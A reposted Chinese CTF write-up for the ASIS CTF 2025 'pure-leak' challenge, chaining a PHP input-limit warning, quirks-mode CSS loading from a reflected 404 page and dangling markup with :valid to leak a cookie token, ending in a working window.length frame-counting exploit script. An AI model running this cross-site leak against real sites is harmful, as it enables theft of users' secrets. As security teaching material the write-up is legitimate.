基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025

news/2025/9/17 19:30:33/文章来源:https://www.cnblogs.com/ljbguanli/p/19097400

基于错误xsleak 悬空标记 运用css利用帧计数 -- Pure leak ASIS CTF 2025

官方wp

https://blog.arkark.dev/2025/09/08/asisctf-quals

entrypoint.sh

#!/bin/sh
set -eu
# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &
cat > /tmp/Caddyfile << EOF
:3000 {
header {
defer
Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
}
reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
replace_status 200
}
}
EOF
exec caddy run --config /tmp/Caddyfile

index.php

<?php
// 校验输入内容的函数
function validate(mixed $input): string {
// 检查输入是否为字符串类型
if (!is_string($input)) return "Invalid types";
// 检查字符串长度是否超过1024
if (strlen($input) >
1024) return "Too long";
// 检查是否包含非可打印ASCII字符(允许回车和换行)
if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
// 检查是否包含敏感关键字或特殊字符
if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
// 返回原始输入
return $input;
}
?>
<
!DOCTYPE html>
<html><body><h1>pure-leak </h1><h3>Source</h3><!-- 显示当前文件的源码,使用htmlspecialchars防止XSS --><pre><?php echo htmlspecialchars(file_get_contents(__FILE__));?></pre><h3>Content</h3><!-- 显示经过validate函数校验后的GET参数content内容 --><?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n";?><h3>Token</h3><!-- 显示TOKEN的cookie值,若不存在则显示默认值 --><?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef");?><h3>Usage</h3><!-- 提供一个示例链接 --><a href="/?content=your_input">/?content=your_input</a></body></html>

part 1 PHP Error

当您向一个 PHP 脚本发起请求(GET 或 POST),并且请求中的参数总数超过 max_input_vars 指令的限制时,PHP 就会产生一条 E_WARNING 级别的错误信息。如果服务器配置为显示错误(通常在开发环境),这个警告就会直接输出到响应体的开头。

GET http://192.168.124.6:3000/?a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1 HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 13:58:07 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
X-Powered-By: PHP/8.3.24
Content-Length: 2250
<br />
<b>Warning</b>: PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<!DOCTYPE html>
<html>...

part 2 Quirks Mode

浏览器为兼容早期非标准网页而启用的一套历史渲染与解析行为。当文档未正确声明标准 DOCTYPE,或在 DOCTYPE 之前已有任何字节输出(如服务器警告文本),浏览器会进入 Quirks Mode。此时 document.compatMode === "BackCompat";标准模式为 "CSS1Compat"

标准模式下:<link rel="stylesheet"> 仅在响应 Content-Type: text/css 时当作样式表处理。

Quirks Mode 下(仅限同源):即使响应类型不是 text/css,也必须把其当作 CSS 解析。这是规范中特意标注的“Quirk”例外,用于兼容旧站点。参考:WHATWG HTML 规范(stylesheet 链接的处理流程与“Quirk”说明)

https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet


Quirk: If the document has been set to quirks mode, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be .[text/css](https://html.spec.whatwg.org/multipage/indices.html#text/css)

The linked resource fetch setup steps for this type of linked resource, given a element and request , are:[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)elrequest

  1. If 's attribute is set, then return false.el[disabled](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-disabled)

  2. If contributes a script-blocking style sheet, append to its node document’s script-blocking style sheet set.elel

  3. If 's attribute’s value matches the environment and is potentially render-blocking, then block rendering on .el[media](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-media)elel

  4. If is currently render-blocking, then set 's render-blocking to true.elrequest

  5. Return true.

See issue #968 for plans to use the CSSOM fetch a CSS style sheet algorithm instead of the default fetch and process the linked resource algorithm. In the meantime, any critical subresourcerequest should have its render-blocking set to whether or not the element is currently render-blocking.[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)


part 3 use 404!

content 的注入点之前页面里已有 /*,而校验又禁止 *,无法写 */ 关掉注释。PHP 内置服务器的 404 页面会把“请求的 URL”原样插进响应体里。把 CSS 写进查询串,404 页就会把这段 CSS 放进正文,而且不在任何注释里。

GET http://192.168.124.6:3000/tere_you_payload.php HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Length: 553
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 14:45:57 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
404 Not Found
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
Not FoundThe requested resource /tere_you_payload.php

part 4 悬空标记

因为csp,我们无法使用选择器外带token

:valid - CSS | MDN

但是有一个可用的 :valid 属性

<style>label {display: block;margin-top: 1em;}input:valid {background-color: ivory;border: none;outline: 2px solid deepskyblue;border-radius: 5px;accent-color: gold;}
</style>
<form>
<label for="email">Email Address:</label><input id="email" name="email" type="email" value="na@me@example.com" />
<label for="secret">Secret Code: (lower case letters)</label><input id="secret" name="secret" type="text" value="test" pattern="[a-z]+" />
<label for="age">Your age: (18+)</label><input id="age" name="age" type="number" value="5" min="18" /><label><input name="tos" type="checkbox" required checked /> - Do you agree toToS?</label>
</form>

当 value 中包含 TOKEN_012 时,input:valid 为真,父 div 背景变绿;否则不变。

<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div><input pattern=".+TOKEN_012.+" value="
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet"><div> <input pattern=". TOKEN_012. " value="&lt;h3&gt;Token&lt;/h3&gt;&lt;!-- 显示TOKEN的cookie值,若不存在则显示默认值 --&gt;TOKEN_0123456789abcdef &lt;h3&gt;Usage&lt;/h3&gt;&lt;!-- 提供一个示例链接 --&gt;&lt;a href=" ?content="your_input&quot;">/?content=your_input</div>

part 5 帧计数

帧计数 |XS-Leaks 维基

window.length

**window.length 表示当前窗口中“子浏览上下文”的数量,即 frame/iframe 的个数。等同于 window.frames.length。如果页面没有任何 frame/iframe,它就是 0。

<iframe src="a.html"></iframe>
<iframe src="b.html"></iframe>
<script>console.log(window.length);// 2for (let i = 0; i < window.length; i++) {console.log(window.frames[i].location.href);}
</script>

示例

  • window.length 计数对象:只计算当前窗口中“直接子”浏览上下文(frame/iframe/object/embed 等会创建 NBC 的元素)。
  • <object type="text/html"> 的特性:当元素参与渲染时,浏览器会为其实例化一个嵌套浏览上下文;如果在它被构造/布局前就处于 display:none,通常不会实例化该上下文。
<!doctype html><meta charset="utf-8"><title>用解析阶段样式门控 NBC 创建</title><button id="hit">命中(length 预期 0)</button><button id="miss">未命中(length 预期 1)</button><pre id="log"></pre><script>// 简单日志(中文注释,不改动代码逻辑)function log(...args) {document.getElementById('log').textContent += args.join(' ') + '\n';console.log(...args);}const sleep = ms =>new Promise(r =>setTimeout(r, ms));// 打开同源子窗口,便于读取 win.lengthconst win = open('about:blank', '_blank');async function render({ value}) {// 整体重写新文档:样式在前,元素在后,让样式在解析阶段就生效const html = `<!doctype html><meta charset="utf-8"><style>/* 命中 :valid 时,整个容器 display:none,从而阻止 <object> 创建 NBC */div:has(input:valid) { display: none; }</style><div id="box"><object data="about:blank" type="text/html" width="200" height="100"></object><input pattern="ABC" value="${value}"></div>`;win.document.open();win.document.write(html);win.document.close();// 等待创建/不创建完成后再读计数await sleep(150);log('win.length =', win.length);}document.getElementById('hit').onclick = () =>render({ value: 'ABC'});// 命中 :valid → 0document.getElementById('miss').onclick = () =>render({ value: 'ABD'});// 未命中 → 1</script>
  • 解析顺序关键点
    1. win.document.open()/write()/close() 将子窗口导航到全新文档;
    2. 这份文档里把 <style> 放在元素前,CSS 在解析时同步生效;
    3. 规则 div:has(input:valid){display:none} 若命中,会让包含 <object> 的父 div 直接变为 display:none
    4. 因为父容器在构建阶段即为 display:none,其中的 <object> 不会被实例化为活动的嵌入内容,自然也就不会创建 NBC;
    5. 最终读取 win.length:命中则为 0,未命中则 <object> 创建 NBC,变为 1。
  • 命中条件来源<input pattern="ABC" value="${value}"> 与伪类 :valid。当 value"ABC" 时命中 :validdiv 被隐藏;否则不隐藏。
  • 为什么需要 await sleep(150):给浏览器一个短暂窗口完成(或不完成)NBC 实例化,避免竞态导致读数抖动。

通过这个原理写出

<script>const sleep = (ms) =>new Promise(r =>setTimeout(r, ms));const win = open("");const match = async (pattern) =>{const BASE_URL = "http://192.168.124.6:3000";win.location = "about:blank";await sleep(100);const content = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel="stylesheet"><div><embed src="about:blank" type="text/html"><input pattern=".+${pattern}.+" value="`;const url = `${BASE_URL}?content=${encodeURIComponent(content)}${"&a".repeat(1000)}`;win.location = url;await sleep(100);return win.length === 0;};(async () =>{const result = await match("TOKEN_123");console.log(result);})();</script>

QEF

#xss #帧计数 #悬空标记 #xs-leak基于错误的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/906744.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网易伏羲:当算法遇见社交,解码游戏世界的连接密码

日前,2025游戏安全与创新大会圆满召开,大会以“AI融合创新”与“全链路安全防护”为双主线,聚焦游戏策划与运营核心问题,深度解析AI与游戏结合的提效、玩法及体验升级路径;同时直面开发、运营、发行、支付、出海等阶段的关键挑战,涵盖作弊、合规、欺诈等议题,助力从业者…

在 CentOS 7 上安装Nginx和配置http代理

1. 安装 EPEL 仓库 NGINX 不在 CentOS 的默认仓库中,因此首先需要安装 EPEL(Extra Packages for Enterprise Linux) 仓库。sudo yum install epel-release2. 安装 NGINX 通过 yum 包管理工具安装 NGINX。sudo yum install nginx3. 启动 NGINX 服务sudo systemctl start ngin…

题解:P2624 [HNOI2008] 明明的烦恼

题解:P2624 [HNOI2008] 明明的烦恼 不会 $prufer$ 序列的请右转树的计数,先将 $prufer$ 序列掌握再做这题。 设有 $n$ 个节点,$deg_i$ 为每个节点的度数,由上题可得,此时可能的无根树的方案为: $$\frac{(n-2)!}{\prod_{i=1}^{n}(deg_i-1)!}$$ 但是这题只给了我们部分节点…

在AI技术快速实现创想的时代,挖掘新需求成为核心竞争力——某知名DevOps学习平台需求洞察

该篇文章无摘要a.内容描述 该项目是一个结构化的DevOps学习资源,旨在帮助用户建立DevOps基础知识的系统化理解。核心功能定位是通过90天的学习计划,系统性地覆盖DevOps原则、流程和工具链的关键领域,包括DevOps基础、DevSecOps安全主题以及社区分享内容。 关键应用场景包括:…

Windows Powershell 获取版本version

前言全局说明一、 1.源码 $PSVersionTable.PSVersion2.结果免责声明:本号所涉及内容仅供安全研究与教学使用,如出现其他风险,后果自负。参考、来源: https://www.cnblogs.com/music-liang/p/18813922 作者:悟透原文链接:https://www.cnblogs.com/wutou/p/19097392来源:博…

XXL-JOB (1)

XXL-JOB (1)# 1 测试

公益站Agent Router注册送200刀额度竟然是真的

昨天看到说Agent Router邀请注册送100美刀,我就点了别人的链接,使用github注册了一个,确实得到了额度。但是我去聊天那里,发现会有错误,以为这个不好用:但是今天测试了一下在Claude Code确实能用,而且速度也还可以!!感兴趣的朋友也快来试试吧!! 邀请链接:https://a…

数据集中valid的作用

简单来说,valid(或 val)文件夹的存在是为了在模型训练过程中,定期、独立地评估模型的性能,以便进行模型调优、防止过拟合和选择最佳模型。它是机器学习工作流中至关重要的一环。 一般的数据集结构:1. Train(训练集)目的:这是模型“学习”所用的主要数据。模型通过反复…

深入 RocketMQ 核心源码:从环境搭建到高可用设计的全方位解析

深入 RocketMQ 核心源码:从环境搭建到高可用设计的全方位解析 在分布式系统中,消息队列是实现异步通信、解耦服务与削峰填谷的关键组件,而 RocketMQ 凭借其高吞吐、低延迟与高可用的特性,成为众多企业的首选。本文将从源码角度出发,带大家一步步揭开 RocketMQ 的神秘面纱,…

从零到顶会:NLP科研实战手册 - 实践

从零到顶会:NLP科研实战手册 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important;…

肝不好能喝酒吗

一般肝脏不好的患者不建议喝酒,可能会加重不适症状,影响健康。 肝脏是人体的重要器官,负责处理和代谢许多物质。如果肝脏不健康或受损,饮酒可能会产生负面影响,并导致一系列不适症状,甚至加重肝脏疾病。因此肝脏不好的人群不建议饮酒,以免对身体健康造成不良影响。 酒精…

ROS中如何将日志格式设置为行号的形式

export RCUTILS CONSOLE OUTPUT FORMAT=[{function name}:{line_number}]:{message}

USB相关的sysfs文件(重要的)【转】

https://www.cnblogs.com/linhaostudy/p/18388902 阅读目录前言 目录内容详解常见的 USB 相关目录及其含义1. /sys/bus/usb 目录下的含义1.1 /sys/bus/usb/devices/usb11-0:1.0 1-1.1:1.0结构图 设备信息bDeviceClass version busnum & devnum dev bMaxPower idVendor &…

25上第一周

《数学之美》第三章以“语言模型与中文信息处理”为核心,通过讲述统计语言模型如何破解中文分词、语音识别等难题,展示了数学在解决复杂问题时的优雅与力量。作者用“马尔可夫链”将看似无序的汉字序列转化为可计算的概率问题,这种化繁为简的思维令我得到了许多感悟。尤其当…

深入解析:RxJava在Android中的应用

深入解析:RxJava在Android中的应用pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important; …

模型选择与配置说明

模型选择与配置说明(Detection / Recognition / Classification) 本文系统说明本项目在“检测(det)/识别(rec)/分类(cls)”三条子任务上的模型选择思路、备选方案对比、输入尺寸与性能取舍、部署格式(ONNX/MNN)、以及在 GUI 与代码层面的配置方式。目标是让读者理解“…

002_文本分类任务的问答

1、下面代码中,random_state作为随机种子作用是什么? train_x, valid_x, train_y, valid_y = model_selection.train_test_split(trainDF[text], trainDF[label], test_size=0.25, random_state=42)这段代码的作用是随机把数据分为两个部分 计算机的“随机数”其实是 伪随机数…

车牌识别

车牌识别方案对比与实现总结(GUI 三方法:lock / test / rec2) 本文面向实际工程应用,系统梳理当前 GUI 集成的三种车牌识别方法(lock、test、rec2)的技术亮点、设计思路、模型选择、实现过程与关键代码,帮助快速理解与持续优化。目标是:在统一界面中,对比“传统候选+文…

告别人工标注瓶颈!Reward-RAG:用 CriticGPT 打造更懂人类偏好的检索模型

Reward-RAG: Enhancing RAG with Reward Driven Supervision 全文摘要 本文介绍了一种名为Reward-RAG的新方法,旨在通过奖励驱动监督增强Retrieval-Augmented Generation(RAG)模型。与以往的RAG方法不同,该方法使用了CriticGPT训练了一个专门的奖励模型,并利用该模型生成合…

Latex 中百分号怎么打

Latex 中百分号怎么打 由于 % 被用作注释符,所以前面 + \ 进行转义 \(\frac{285.5}{1-2.7\%}\)